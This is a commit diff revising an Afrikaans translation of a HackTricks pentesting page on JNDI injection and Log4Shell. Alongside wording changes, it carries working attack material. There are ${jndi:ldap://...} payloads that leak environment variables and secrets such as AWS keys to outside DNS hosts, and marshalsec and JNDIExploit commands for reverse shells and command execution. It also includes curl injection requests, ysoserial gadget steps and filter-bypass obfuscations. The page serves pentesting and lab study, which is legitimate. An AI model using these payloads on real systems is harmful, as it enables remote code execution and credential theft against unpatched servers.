Translated ['pentesting-web/deserialization/jndi-java-naming-and-directo

This commit is contained in:
Translator 2024-03-16 12:09:22 +00:00
parent 1c877a48eb
commit ec1de3426b

View file

@ -16,7 +16,7 @@ Ander maniere om HackTricks te ondersteun:
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -24,22 +24,22 @@ Ander maniere om HackTricks te ondersteun:
## Basiese Inligting
JNDI, geïntegreer in Java sedert die laat 1990's, dien as 'n gidsdiens, wat Java-programme in staat stel om data of voorwerpe deur 'n benamingsisteem te vind. Dit ondersteun verskeie gidsdienste via diensverskafferinterfaces (SPI's), wat data-herwinning van verskillende stelsels, insluitend afgeleë Java-voorwerpe, moontlik maak. Gewone SPI's sluit CORBA COS, Java RMI Register, en LDAP in.
JNDI, geïntegreer in Java sedert die laat 1990's, dien as 'n gidsdiens, wat Java-programme in staat stel om data of voorwerpe deur 'n benamingsisteem te vind. Dit ondersteun verskeie gidsdienste via diensverskafferinterfaces (SPI's), wat data ophaling vanaf verskillende stelsels, insluitend afgeleë Java-voorwerpe, moontlik maak. Gewone SPI's sluit CORBA COS, Java RMI Register, en LDAP in.
### JNDI Benamingsverwysing
Java-voorwerpe kan gestoor en herwin word deur JNDI Benamingsverwysings te gebruik, wat in twee vorms voorkom:
Java-voorwerpe kan gestoor en opgehaal word deur JNDI Benamingsverwysings, wat in twee vorms voorkom:
* **Benamingsadres**: Spesifiseer 'n voorwerp se ligging (bv., _rmi://bediener/ref_), wat direkte herwinning vanaf die gespesifiseerde adres moontlik maak.
* **Benamingsadres**: Spesifiseer 'n voorwerp se ligging (bv., _rmi://bediener/ref_), wat direkte ophaling vanaf die gespesifiseerde adres moontlik maak.
* **Afgeleë Fabriek**: Verwys na 'n afgeleë fabriekklas. Wanneer dit benader word, word die klas afgelaai en geïnstantieer vanaf die afgeleë ligging.
Hierdie meganisme kan egter uitgebuit word, wat moontlik kan lei tot die laai en uitvoering van willekeurige kode. As 'n teenmaatreeël:
Hierdie meganisme kan egter uitgebuit word, wat moontlik lei tot die laai en uitvoering van willekeurige kode. As 'n teenmaatreeël:
* **RMI**: `java.rmi.server.useCodeabseOnly = true` standaard vanaf JDK 7u21, wat afgeleë voorwerp-lading beperk. 'n Sekuriteitsbestuurder beperk verder wat gelaai kan word.
* **RMI**: `java.rmi.server.useCodeabseOnly = true` standaard vanaf JDK 7u21, wat afgeleë voorwerp laai beperk. 'n Sekuriteitsbestuurder beperk verder wat gelaai kan word.
* **LDAP**: `com.sun.jndi.ldap.object.trustURLCodebase = false` standaard vanaf JDK 6u141, 7u131, 8u121, wat die uitvoering van afgeleë gelaai Java-voorwerpe blokkeer. Indien ingestel op `true`, is afgeleë kode-uitvoering moontlik sonder 'n Sekuriteitsbestuurder se toesig.
* **CORBA**: Het nie 'n spesifieke eienskap nie, maar die Sekuriteitsbestuurder is altyd aktief.
Die **Benamingsbestuurder**, verantwoordelik vir die oplossing van JNDI-skakels, het nie ingeboude sekuriteitsmeganismes nie, wat moontlik die herwinning van voorwerpe van enige bron toelaat. Dit stel 'n risiko omdat RMI, LDAP, en CORBA-beskerming omseil kan word, wat kan lei tot die lading van willekeurige Java-voorwerpe of die uitbuiting van bestaande toepassingskomponente (toestelle) om skadelike kode uit te voer.
Die **Benamingsbestuurder**, verantwoordelik vir die oplossing van JNDI-skakels, het nie ingeboude sekuriteitsmeganismes nie, wat moontlik die ophaling van voorwerpe van enige bron toelaat. Dit stel 'n risiko as RMI, LDAP, en CORBA-beskerming omseil kan word, wat lei tot die laai van willekeurige Java-voorwerpe of die uitbuiting van bestaande toepassingskomponente (toestelle) om skadelike kode uit te voer.
Voorbeelde van uitbuitbare URL's sluit in:
@ -47,17 +47,17 @@ Voorbeelde van uitbuitbare URL's sluit in:
* _ldap://aanvaller-bediener/bar_
* _iiop://aanvaller-bediener/bar_
Ten spyte van beskerming bly kwesbaarhede bestaan, hoofsaaklik as gevolg van die gebrek aan beskerming teen die laai van JNDI van onbetroubare bronne en die moontlikheid om bestaande beskerming te omseil.
Ten spyte van beskerming bly kwesbaarhede, hoofsaaklik as gevolg van die gebrek aan beskerming teen die laai van JNDI van onbetroubare bronne en die moontlikheid om bestaande beskerming te omseil.
### JNDI Voorbeeld
![](<../../.gitbook/assets/image (655) (1) (1).png>)
Selfs al het jy 'n **`PROVIDER_URL`** ingestel, kan jy 'n ander een aandui in 'n opsoek en dit sal toegang kry: `ctx.lookup("<aanvaller-beheerde-url>")` en dit is wat 'n aanvaller sal misbruik om willekeurige voorwerpe van 'n stelsel wat deur hom beheer word, te laai.
Selfs al het jy 'n **`PROVIDER_URL`** ingestel, kan jy 'n ander een aandui in 'n opsoek en dit sal benader word: `ctx.lookup("<aanvaller-beheerde-url>")` en dit is wat 'n aanvaller sal misbruik om willekeurige voorwerpe van 'n stelsel wat deur hom beheer word, te laai.
### CORBA Oorsig
CORBA (Common Object Request Broker Architecture) gebruik 'n **Interoperable Object Reference (IOR)** om afgeleë voorwerpe uniek te identifiseer. Hierdie verwysing sluit noodsaaklike inligting in soos:
CORBA (Common Object Request Broker Architecture) maak gebruik van 'n **Interoperable Object Reference (IOR)** om afgeleë voorwerpe uniek te identifiseer. Hierdie verwysing sluit noodsaaklike inligting in soos:
* **Tipe-ID**: Unieke identifiseerder vir 'n koppelvlak.
* **Kodebasis**: URL vir die verkryging van die stub-klas.
@ -66,25 +66,25 @@ Dit is opmerklik dat CORBA nie inherent kwesbaar is nie. Om sekuriteit te versek
* Installasie van 'n **Sekuriteitsbestuurder**.
* Konfigurering van die Sekuriteitsbestuurder om koppelings na potensieel skadelike kodebasisse toe te laat. Dit kan bereik word deur:
* Socket-toestemming, bv., `permissions java.net.SocketPermission "*:1098-1099", "connect";`.
* Lêerleestoestemming, óf universeel (`permission java.io.FilePermission "<<ALL FILES>>", "read";`) óf vir spesifieke gidsies waar skadelike lêers geplaas kan word.
* Soket-toestemming, bv., `permissions java.net.SocketPermission "*:1098-1099", "connect";`.
* Lêerleestoestemming, óf universeel (`permission java.io.FilePermission "<<ALL FILES>>", "read";`) óf vir spesifieke gids waar skadelike lêers geplaas kan word.
Daar kan egter wees dat sommige vervaardigerbeleide inskiklik is en hierdie koppeling standaard toelaat.
Daar kan egter wees dat sommige vervaardigerbeleide inskiklik is en hierdie koppelings standaard toelaat.
### RMI Konteks
Vir RMI (Remote Method Invocation) is die situasie effens anders. Soos met CORBA, is die afleëring van willekeurige klasse standaard beperk. Om RMI uit te buit, sou 'n aanvaller tipies die Sekuriteitsbestuurder moet omseil, 'n prestasie wat ook relevant is in CORBA.
Vir RMI (Remote Method Invocation) is die situasie effens anders. Soos met CORBA, is die afleë klaslaaiing standaard beperk. Om RMI uit te buit, sou 'n aanvaller tipies die Sekuriteitsbestuurder moet omseil, 'n prestasie wat ook relevant is in CORBA.
### LDAP
Eerstens, moet ons onderskei tussen 'n Soektog en 'n Opsoek.\
'N **soektog** sal 'n URL soos `ldap://localhost:389/o=JNDITutorial` gebruik om die JNDITutorial-voorwerp van 'n LDAP-bediener te vind en **sy eienskappe te herwin**.\
Eerstens, moet ons onderskei tussen 'n Soek en 'n Opsoek.\
'N **soek** sal 'n URL soos `ldap://localhost:389/o=JNDITutorial` gebruik om die JNDITutorial-voorwerp vanaf 'n LDAP-bediener te vind en **sy eienskappe op te haal**.\
'N **opsoek** is bedoel vir **benamingsdienste** aangesien ons wil kry **wat ook al aan 'n naam gebind is**.
Indien die LDAP-soektog geaktiveer is met **SearchControls.setReturningObjFlag() met `true`, sal die teruggekeerde voorwerp herkonstrueer word**.
Indien die LDAP-soek aangeroep is met **SearchControls.setReturningObjFlag() met `true`, sal die teruggekeerde voorwerp herkonstrueer word**.
Daarom is daar verskeie maniere om hierdie opsies aan te val.\
'N **aanvaller kan LDAP-rekords vergiftig deur lading op hulle in te voer wat in die stelsels wat dit versamel, uitgevoer sal word** (baie nuttig om **tientalle masjiene te kompromiteer** as jy toegang tot die LDAP-bediener het). 'N Ander manier om dit uit te buit, sou wees om 'n **MitM-aanval in 'n LDAP-soektog** byvoorbeeld uit te voer.
'N **aanvaller kan LDAP-rekords vergiftig deur lading daarop in te voer wat in die stelsels wat dit versamel, uitgevoer sal word** (baie nuttig om **tientalle masjiene te kompromiteer** as jy toegang het tot die LDAP-bediener). 'N Ander manier om dit uit te buit, sou wees om 'n **MitM-aanval in 'n LDAP-soek** byvoorbeeld uit te voer.
In die geval dat jy 'n toepassing 'n JNDI LDAP-URL **kan laat oplos**, kan jy die LDAP wat gesoek sal word, beheer, en jy kan die uitbuiting terugstuur (log4shell).
@ -93,11 +93,11 @@ In die geval dat jy 'n toepassing 'n JNDI LDAP-URL **kan laat oplos**, kan jy di
![](<../../.gitbook/assets/image (654) (1) (1) (1).png>)
Die **uitbuiting is geserializeer** en sal gedeserializeer word.\
Indien `trustURLCodebase` `true` is, kan 'n aanvaller sy eie klasse in die kodebasis voorsien, indien nie, sal hy gadgets in die klasklas moet misbruik.
Indien `trustURLCodebase` `true` is, kan 'n aanvaller sy eie klasse in die kodebasis voorsien, indien nie, sal hy toestelle in die klasklas moet misbruik.
#### JNDI Verwysingsuitbuiting
Dit is makliker om hierdie LDAP aan te val met **JavaFactory-verwysings**:
Dit is makliker om hierdie LDAP aan te val met **JavaFactory verwysings**:
![](<../../.gitbook/assets/image (660) (1) (1).png>)
@ -105,11 +105,11 @@ Dit is makliker om hierdie LDAP aan te val met **JavaFactory-verwysings**:
Die kwesbaarheid word ingebring in Log4j omdat dit 'n [**spesiale sintaksis**](https://logging.apache.org/log4j/2.x/manual/configuration.html#PropertySubstitution) ondersteun in die vorm `${prefix:name}` waar `prefix` een van 'n aantal verskillende [**Opsoekinge**](https://logging.apache.org/log4j/2.x/manual/lookups.html) is waar `name` geëvalueer moet word. Byvoorbeeld, `${java:version}` is die huidige lopende weergawe van Java.
[**LOG4J2-313**](https://issues.apache.org/jira/browse/LOG4J2-313) het 'n `jndi` Opsoek-funksie ingebring. Hierdie funksie maak die herwinning van veranderlikes deur JNDI moontlik. Gewoonlik word die sleutel outomaties voorafgegaan deur `java:comp/env/`. Indien die sleutel self 'n **":"** insluit, word hierdie verstek voorvoegsel nie toegepas nie.
[**LOG4J2-313**](https://issues.apache.org/jira/browse/LOG4J2-313) het 'n `jndi` Opsoekfunksie ingevoer. Hierdie funksie maak die verkryging van veranderlikes deur JNDI moontlik. Tipies word die sleutel outomaties voorafgegaan deur `java:comp/env/`. Indien die sleutel self 'n **":"** insluit, word hierdie verstek voorvoegsel nie toegepas nie.
Met 'n **: teenwoordig** in die sleutel, soos in `${jndi:ldap://voorbeeld.com/a}` is daar **geen voorvoegsel** en word die **LDAP-bediener ondervra vir die voorwerp**. En hierdie Opsoekinge kan gebruik word in beide die konfigurasie van Log4j sowel as wanneer lyne gelog word.
Daarom is die enigste ding wat nodig is om RCE te kry 'n **kwesbare weergawe van Log4j wat inligting verwerk wat deur die gebruiker beheer word**. En omdat dit 'n biblioteek is wat wyd deur Java-toepassings gebruik word om inligting te log (insluitend aan die internet blootgestelde toepassings) was dit baie algemeen om log4j logging byvoorbeeld HTTP-koppele ontvang soos die Gebruiker-Agent. Nietemin, word log4j **nie net gebruik om HTTP-inligting te log nie, maar enige insette** en data wat die ontwikkelaar aangedui het.
Daarom is die enigste ding wat nodig is om RCE te kry 'n **kwesbare weergawe van Log4j wat inligting verwerk wat deur die gebruiker beheer word**. En omdat dit 'n biblioteek is wat wyd deur Java-toepassings gebruik word om inligting te log (insluitend aan die internet blootgestelde toepassings) was dit baie algemeen om byvoorbeeld log4j-logboeke te hê wat HTTP-koptekste ontvang soos die Gebruiker-Agent. Nietemin, word log4j **nie net gebruik om HTTP-inligting te log nie, maar enige insette** en data wat die ontwikkelaar aangedui het.
## Oorsig van Log4Shell-Verwante CVE's
### [CVE-2021-44228](https://nvd.nist.gov/vuln/detail/CVE-2021-44228) **\[Krities]**
@ -118,11 +118,11 @@ Hierdie kwesbaarheid is 'n kritieke **ongetroue deserialisasie fout** in die `lo
### [CVE-2021-45046](https://nvd.nist.gov/vuln/detail/CVE-2021-45046) **\[Krities]**
Aanvanklik as laag beoordeel maar later opgegradeer na krities, is hierdie CVE 'n **Diensweier (DoS)** fout as gevolg van 'n onvolledige regstelling in 2.15.0 vir CVE-2021-44228. Dit affekteer nie-standaard konfigurasies, wat aanvallers in staat stel om DoS-aanvalle deur doelgerigte vragte te veroorsaak. 'n [tweet](https://twitter.com/marcioalm/status/1471740771581652995) toon 'n omseilingsmetode. Die probleem is opgelos in weergawes 2.16.0 en 2.12.2 deur boodskopsoekpatrone te verwyder en JNDI standaard af te skakel.
Aanvanklik as laag beoordeel maar later opgegradeer na krities, is hierdie CVE 'n **Diensweier (DoS)** fout as gevolg van 'n onvolledige regstelling in 2.15.0 vir CVE-2021-44228. Dit affekteer nie-standaard konfigurasies, wat aanvallers in staat stel om DoS-aanvalle deur doelgemaakte vragte te veroorsaak. 'n [tweet](https://twitter.com/marcioalm/status/1471740771581652995) toon 'n omseilingsmetode. Die probleem is opgelos in weergawes 2.16.0 en 2.12.2 deur boodskopsoekpatrone te verwyder en JNDI standaard af te skakel.
### [CVE-2021-4104](https://nvd.nist.gov/vuln/detail/CVE-2021-4104) **\[Hoog]**
Wat **Log4j 1.x weergawes** affekteer in nie-standaard konfigurasies wat `JMSAppender` gebruik, is hierdie CVE 'n onbetroubare deserialisasie fout. Geen regstelling is beskikbaar vir die 1.x-tak, wat einde-van-die-lyn is, en dit word aanbeveel om na `log4j-core 2.17.0` op te gradeer.
Wat **Log4j 1.x weergawes** affekteer in nie-standaard konfigurasies wat `JMSAppender` gebruik, is hierdie CVE 'n ongetroue deserialisasie fout. Geen regstelling is beskikbaar vir die 1.x-tak nie, wat einde-van-die-lyn is, en dit word aanbeveel om na `log4j-core 2.17.0` op te gradeer.
### [CVE-2021-42550](https://nvd.nist.gov/vuln/detail/CVE-2021-42550) **\[Matig]**
@ -148,7 +148,7 @@ Hierdie kwesbaarheid is baie maklik om te ontdek indien onbeskerm omdat dit ten
* `${jndi:ldap://2j4ayo.dnslog.cn}` (met behulp van [dnslog](http://dnslog.cn))
* `${jndi:ldap://log4shell.huntress.com:1389/hostname=${env:HOSTNAME}/fe47f5ee-efd7-42ee-9897-22d18976c520}` (met behulp van [huntress](https://log4shell.huntress.com))
Merk op dat **selfs as 'n DNS-versoek ontvang word, beteken dit nie dat die aansoek vatbaar is vir uitbuiting** (of selfs kwesbaar is nie), jy sal moet probeer om dit uit te buit.
Merk op dat **selfs as 'n DNS-versoek ontvang word, beteken dit nie dat die aansoek uitbuitbaar** (of selfs kwesbaar) is nie, jy sal moet probeer om dit uit te buit.
{% hint style="info" %}
Onthou dat om **weergawe 2.15 uit te buit** jy die **localhost kontrole omseiling** moet byvoeg: ${jndi:ldap://**127.0.0.1#**...}
@ -166,12 +166,12 @@ Sommige van die platforms wat voorheen gelys is, sal jou toelaat om sekere veran
Dit kan baie nuttig wees vir 2 dinge:
* Om die kwesbaarheid te **verifieer**
* Om inligting te **eksfileer** deur misbruik te maak van die kwesbaarheid
* Om inligting te **eksfileer** deur die kwesbaarheid te misbruik
Byvoorbeeld kan jy iets soos aanvra:\
Byvoorbeeld kan jy iets aanvra soos:\
of soos `${`**`jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a}`** en as 'n **DNS-aanvraag ontvang word met die waarde van die omgewingsveranderlike**, weet jy dat die aansoek kwesbaar is.
Ander inligting wat jy kan probeer om te **lek**:
Ander inligting wat jy kan probeer **lek**:
```
${env:AWS_ACCESS_KEY_ID}
${env:AWS_CONFIG_FILE}
@ -225,7 +225,7 @@ Any other env variable name that could store sensitive information
### RCE Inligting
{% hint style="info" %}
Gasheerstelsels wat op JDK-weergawes bokant 6u141, 7u131, of 8u121 loop, is teen die LDAP-klasselaai-aanvalvektor beskerm. Dit is as gevolg van die standaard deaktivering van `com.sun.jndi.ldap.object.trustURLCodebase`, wat voorkom dat JNDI 'n afgeleë kodebasis via LDAP laai. Dit is egter noodsaaklik om daarop te let dat hierdie weergawes **nie teen die deserialisasie-aanvalvektor beskerm is nie**.
Gasheerstelsels wat op JDK-weergawes bokant 6u141, 7u131 of 8u121 loop, is teen die LDAP-klasselaai-aanvalvektor beskerm. Dit is as gevolg van die standaard deaktivering van `com.sun.jndi.ldap.object.trustURLCodebase`, wat voorkom dat JNDI 'n afgeleë kodebasis via LDAP laai. Dit is egter noodsaaklik om daarop te let dat hierdie weergawes **nie teen die deserialisasie-aanvalvektor beskerm is nie**.
Vir aanvallers wat daarop gemik is om hierdie hoër JDK-weergawes te benut, is dit nodig om 'n **vertroude toestel** binne die Java-toepassing te gebruik. Gereedskap soos ysoserial of JNDIExploit word dikwels vir hierdie doel gebruik. Aan die ander kant is dit relatief makliker om laer JDK-weergawes te benut aangesien hierdie weergawes gemanipuleer kan word om willekeurige klasse te laai en uit te voer.
@ -236,11 +236,11 @@ Vir **meer inligting** (_soos beperkings op RMI- en CORBA-vektore_) **kyk na die
Jy kan dit toets in die **THM-boks:** [**https://tryhackme.com/room/solar**](https://tryhackme.com/room/solar)
Gebruik die gereedskap [**marshalsec**](https://github.com/mbechler/marshalsec) (jar-weergawe beskikbaar [**hier**](https://github.com/RandomRobbieBF/marshalsec-jar)). Hierdie benadering stel 'n LDAP verwysingbediener op om verbindinge na 'n sekondêre HTTP-bedienaar om te lei waar die uitbuiting gehuisves sal word:
Gebruik die gereedskap [**marshalsec**](https://github.com/mbechler/marshalsec) (jar-weergawe beskikbaar [**hier**](https://github.com/RandomRobbieBF/marshalsec-jar)). Hierdie benadering stel 'n LDAP verwysingbediener op om verbindinge na 'n sekondêre HTTP-bedienaar te stuur waar die uitbuiting gehuisves sal word:
```bash
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://<your_ip_http_server>:8000/#Exploit"
```
Om die teiken aan te spoor om 'n omgekeerde dop te laai, maak 'n Java-lêer met die naam `Exploit.java` met die inhoud hieronder:
Om die teiken aan te spoor om 'n omgekeerde dop te laai, maak 'n Java-lêer met die naam `Exploit.java` met die volgende inhoud:
```java
public class Exploit {
static {
@ -252,20 +252,20 @@ e.printStackTrace();
}
}
```
Kompileer die Java-lêer na 'n klasselêer met: `javac Exploit.java -source 8 -target 8`. Volgende, inisieer 'n **HTTP-bediener** in die gids wat die klasselêer bevat met: `python3 -m http.server`. Maak seker dat die **marshalsec LDAP-bediener** na hierdie HTTP-bediener verwys.
Kompileer die Java-lêer na 'n klas-lêer met behulp van: `javac Exploit.java -source 8 -target 8`. Volgende, inisieer 'n **HTTP-bediener** in die gids wat die klas-lêer bevat met: `python3 -m http.server`. Verseker dat die **marshalsec LDAP-bediener** na hierdie HTTP-bediener verwys.
Lok die uitvoering van die uitbuitklas op die vatbare webbediener uit deur 'n lading te stuur wat lyk soos:
Lok die uitvoering van die uitbuitklas op die vatbare webbediener deur 'n lading te stuur wat lyk soos:
```bash
${jndi:ldap://<LDAP_IP>:1389/Exploit}
```
**Nota:** Hierdie uitbuiting steun op Java se konfigurasie om afgeleë kodebasis laai via LDAP. Indien dit nie toegelaat word nie, oorweeg om 'n vertroude klas uit te buit vir willekeurige kode-uitvoering.
**Nota:** Hierdie uitbuiting steun op Java se konfigurasie om afgeleë kodebasis laai via LDAP. Indien dit nie toegelaat word nie, oorweeg om 'n vertroude klas te benut vir willekeurige kode-uitvoering.
### RCE - **JNDIExploit**
{% hint style="info" %}
Let daarop dat die skrywer hierdie projek na die ontdekking van log4shell van github verwyder het. Jy kan 'n gecachete weergawe vind op [https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2](https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2) maar as jy die skrywer se besluit wil respekteer, gebruik 'n ander metode om hierdie kwesbaarheid uit te buit.
Let daarop dat die skrywer hierdie projek na die ontdekking van log4shell om een of ander rede van github verwyder het. Jy kan 'n gecachete weergawe vind op [https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2](https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2) maar as jy die skrywer se besluit wil respekteer, gebruik 'n ander metode om hierdie kwesbaarheid uit te buit.
Verder kan jy nie die bronkode in die wayback machine vind nie, so analiseer die bronkode, of voer die jar uit met die wete dat jy nie weet wat jy uitvoer nie.
Daarbenewens kan jy nie die bronkode in die wayback machine vind nie, so analiseer óf die bronkode, óf voer die jar uit met die wete dat jy nie weet wat jy uitvoer nie.
{% endhint %}
Vir hierdie voorbeeld kan jy net hierdie **kwesbare webbediener vir log4shell** hardloop op poort 8080: [https://github.com/christophetd/log4shell-vulnerable-app](https://github.com/christophetd/log4shell-vulnerable-app) (_in die README sal jy vind hoe om dit te hardloop_). Hierdie kwesbare program log met 'n kwesbare weergawe van log4shell die inhoud van die HTTP-versoekkop _X-Api-Version_.
@ -279,14 +279,14 @@ java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.17.0.1 -p 8888 # Use your private
Na die lees van die kode net 'n paar minute, in _com.feihong.ldap.LdapServer_ en _com.feihong.ldap.HTTPServer_ kan jy sien hoe die **LDAP en HTTP bedieners geskep word**. Die LDAP-bediener sal verstaan watter lading bedien moet word en sal die slagoffer na die HTTP-bediener omskakel, wat die uitbuiting sal bedien.\
In _com.feihong.ldap.gadgets_ kan jy **sekere spesifieke toestelle** vind wat gebruik kan word om die gewenste aksie uit te voer (potensieel arbitrêre kode uit te voer). En in _com.feihong.ldap.template_ kan jy die verskillende templaatklasse sien wat die uitbuitings sal **genereer**.
Jy kan al die beskikbare uitbuitings sien met **`java -jar JNDIExploit-1.2-SNAPSHOT.jar -u`**. Sommige nuttige is:
Jy kan al die beskikbare uitbuitings sien met **`java -jar JNDIExploit-1.2-SNAPSHOT.jar -u`**. Sommige nuttige een is:
```bash
ldap://null:1389/Basic/Dnslog/[domain]
ldap://null:1389/Basic/Command/Base64/[base64_encoded_cmd]
ldap://null:1389/Basic/ReverseShell/[ip]/[port]
# But there are a lot more
```
So, in ons voorbeeld, het ons reeds daardie kwesbare docker-toepassing wat loop. Om dit aan te val:
Dus, in ons voorbeeld het ons reeds daardie kwesbare docker-toepassing wat loop. Om dit aan te val:
```bash
# Create a file inside of th vulnerable host:
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
@ -301,7 +301,7 @@ Wanneer jy die aanvalle stuur, sal jy 'n paar uitsette sien in die terminaal waa
### RCE - JNDI-Exploit-Kit <a href="#rce__jndiexploitkit_33" id="rce__jndiexploitkit_33"></a>
Op 'n soortgelyke manier as die vorige uitbuit, kan jy probeer om [**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit) te gebruik om hierdie kwesbaarheid uit te buit.\
Op 'n soortgelyke manier as die vorige uitbuiting, kan jy probeer om [**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit) te gebruik om hierdie kwesbaarheid uit te buit.\
Jy kan die URL's genereer om aan die slagoffer te stuur deur:
```bash
# Get reverse shell in port 4444 (only unix)
@ -310,11 +310,15 @@ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.
# Execute command
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -C "touch /tmp/log4shell"
```
_Hierdie aanval met 'n aangepaste gegenereerde Java-voorwerp sal werk in laboratoriums soos die **THM-sonkamer**. Dit sal egter nie gewoonlik werk nie (aangesien Java nie standaard gekonfigureer is om afgeleë kodebasisse met LDAP te laai nie) ek dink omdat dit nie 'n vertroude klas misbruik om willekeurige kode uit te voer nie._
_Hierdie aanval met 'n aangepaste gegenereerde Java-voorwerp sal werk in laboratoriums soos die **THM solar room**. Dit sal egter nie gewoonlik werk nie (aangesien Java nie standaard gekonfigureer is om afgeleë kodebasisse te laai deur middel van LDAP) ek dink omdat dit nie 'n vertroude klas misbruik om willekeurige kode uit te voer nie._
### RCE - JNDI-Injection-Exploit-Plus
[https://github.com/cckuailong/JNDI-Injection-Exploit-Plus](https://github.com/cckuailong/JNDI-Injection-Exploit-Plus) is nog 'n instrument om **werkende JNDI-skakels** te genereer en agtergronddienste te voorsien deur 'n RMI-bediener, LDAP-bediener en HTTP-bediener te begin.\
### RCE - ysoserial & JNDI-Exploit-Kit
Hierdie opsie is baie nuttig om **Java-weergawes aan te val wat gekonfigureer is om slegs spesifieke klasse te vertrou en nie almal nie**. Daarom sal **ysoserial** gebruik word om **serialisasies van vertroude klasse** te genereer wat as gadgets gebruik kan word om **willekeurige kode uit te voer** (_die vertroude klas wat deur ysoserial misbruik word, moet deur die slagoffer Java-program gebruik word sodat die uitbuiting kan werk_).
Hierdie opsie is werklik nuttig om **Java-weergawes aan te val wat gekonfigureer is om slegs spesifieke klasse te vertrou en nie almal nie**. Daarom sal **ysoserial** gebruik word om **serialisasies van vertroude klasse** te genereer wat as gadgets gebruik kan word om **willekeurige kode uit te voer** (_die vertroude klas wat deur ysoserial misbruik word, moet deur die slagoffer Java-program gebruik word sodat die uitbuiting kan werk_).
Deur **ysoserial** of [**ysoserial-aangepas**](https://github.com/pimps/ysoserial-modified) te gebruik, kan jy die deserialisasie-uitbuiting skep wat deur JNDI afgelaai sal word:
```bash
@ -354,22 +358,22 @@ ${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"
### Laboratoria om te toets
* [**LogForge HTB-masjien**](https://app.hackthebox.com/tracks/UHC-track)
* [**LogForge HTB masjien**](https://app.hackthebox.com/tracks/UHC-track)
* [**Try Hack Me Solar-kamer**](https://tryhackme.com/room/solar)
* [**https://github.com/leonjza/log4jpwn**](https://github.com/leonjza/log4jpwn)
* [**https://github.com/christophetd/log4shell-vulnerable-app**](https://github.com/christophetd/log4shell-vulnerable-app)
## Na-Log4Shell Uitbuiting
In hierdie [**CTF-skryfstuk**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/) word goed verduidelik hoe dit moontlik is om sekere kenmerke van **Log4J** te **misbruik**.
In hierdie [**CTF skryfstuk**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/) word goed verduidelik hoe dit potensieel **moontlik** is om sekere kenmerke van **Log4J** te **misbruik**.
Die [**sekuriteitsbladsy**](https://logging.apache.org/log4j/2.x/security.html) van Log4j het 'n paar interessante sinne:
> Vanaf weergawe 2.16.0 (vir Java 8) is die **boodskapopsoekfunksie heeltemal verwyder**. **Opsoeke in konfigurasie werk nog steeds**. Verder, Log4j deaktiveer nou toegang tot JNDI standaard. JNDI-opsoeke in konfigurasie moet nou eksplisiet geaktiveer word.
> Vanaf weergawe 2.16.0 (vir Java 8) is die **boodskapopsoek-funksie heeltemal verwyder**. **Opsoeke in konfigurasie werk nog steeds**. Verder, Log4j skakel nou toegang tot JNDI standaard af. JNDI-opsoeke in konfigurasie moet nou eksplisiet geaktiveer word.
> Vanaf weergawe 2.17.0 (en 2.12.3 en 2.3.1 vir Java 7 en Java 6), **word slegs opsoekreekse in konfigurasie rekursief uitgebrei**; in enige ander gebruik, word slegs die topvlak-opsoek opgelos, en enige geneste opsoek word nie opgelos nie.
Dit beteken dat jy standaard enige `jndi`-uitbuiting kan **vergeet**. Verder moet jy hulle konfigureer om **rekursiewe opsoeke** uit te voer.
Dit beteken dat jy standaard enige `jndi`-uitbuiting kan **vergeet**. Verder, om **rekursiewe opsoeke** uit te voer, moet jy hulle konfigureer hê.
Byvoorbeeld, in daardie CTF was dit so gekonfigureer in die lêer log4j2.xml:
```xml
@ -381,7 +385,7 @@ Byvoorbeeld, in daardie CTF was dit so gekonfigureer in die lêer log4j2.xml:
### Omgewingsopsoekinge
In [hierdie CTF](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/) het die aanvaller die waarde van `${sys:cmd}` beheer en moes die vlag uit 'n omgewingsveranderlike eksfiltreer.\
Soos gesien op hierdie bladsy in [**vorige ladinge**](jndi-java-naming-and-directory-interface-and-log4shell.md#verification) is daar verskillende maniere om toegang tot omgewingsveranderlikes te verkry, soos: **`${env:FLAG}`**. In hierdie CTF was dit nutteloos, maar dit mag dalk in ander werklike scenarios nuttig wees.
Soos gesien op hierdie bladsy in [**vorige ladinge**](jndi-java-naming-and-directory-interface-and-log4shell.md#verification) is daar verskillende maniere om toegang tot omgewingsveranderlikes te verkry, soos: **`${env:FLAG}`**. In hierdie CTF was dit nutteloos, maar dit mag in ander werklike scenarios nuttig wees.
### Eksfiltrering in Uitsonderings
@ -391,7 +395,7 @@ In die CTF kon jy **nie toegang kry tot die stderr** van die Java-toepassing nie
### Omskakelingspatrone Uitsonderings
Net om dit te noem, kon jy ook nuwe [**omskakelingspatrone**](https://logging.apache.org/log4j/2.x/manual/layouts.html#PatternLayout) inspuit en uitsonderings veroorsaak wat na `stdout` gelog word. Byvoorbeeld:
Net om dit te noem, kon jy ook nuwe [**omskakelingspatrone**](https://logging.apache.org/log4j/2.x/manual/layouts.html#PatternLayout) inspuit en uitsonderings veroorsaak wat na `stdout` gelog sal word. Byvoorbeeld:
![](<../../.gitbook/assets/image (3) (2) (1) (1).png>)
